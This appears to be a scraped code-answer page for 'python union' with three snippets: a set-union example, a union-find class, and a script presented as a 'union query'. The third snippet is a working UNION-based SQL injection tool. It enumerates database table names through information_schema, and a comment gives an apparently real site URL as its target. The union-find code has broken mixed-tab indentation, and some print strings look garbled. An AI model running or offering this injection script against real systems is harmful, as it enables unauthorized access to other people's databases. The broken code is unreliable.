Answers for "python union"

list union python

set1 = {2, 4, 5, 6}  
set2 = {4, 6, 7, 8}  
set3 = {7, 8, 9, 10} 
  
# union of two sets 
print("set1 U set2 : ", set1.union(set2)) 
  
# union of three sets 
print("set1 U set2 U set3 :", set1.union(set2, set3)) 


>>>

set1 U set2 :  {2, 4, 5, 6, 7, 8}
set1 U set2 U set3 : {2, 4, 5, 6, 7, 8, 9, 10}

python union find

class DisjointSet:
    def __init__(self, n):
        self.data = list(range(n))
        self.size = n

    def find(self, index):
        return self.data[index]


	def union(self, x, y):
    	x, y = self.find(x), self.find(y)

	    if x == y:
    	    return

	    for i in range(self.size):
    	    if self.find(i) == y:
        	    self.data[i] = x


    @property
    def length(self):
        return len(set(self.data))




disjoint = DisjointSet(10)

disjoint.union(0, 1)
disjoint.union(1, 2)
disjoint.union(2, 3)
disjoint.union(4, 5)
disjoint.union(5, 6)
disjoint.union(6, 7)
disjoint.union(8, 9)

print(disjoint.data)
print(disjoint.length)


# [0, 0, 0, 0, 4, 4, 4, 4, 8, 8]
# 3

python union query

# pip install requests
import requests

def main():
    # http://www.meggieschneider.com/php/detail.php?id=48
    url = input('Target: ')
    idx = 0
    while True:
        nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
        if idx > 0:
            nulls = ', ' + nulls
        req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
        print(f'''n
            {req}
            ''')
        r = requests.get(f'{url}?{req}')
        if 'The used SELECT statements have a different number of columns' not in str(r.content):
            print(f'''n
            {r.text}
            ''')
            break
        idx = idx + 1

if __name__ == '__main__':
    main()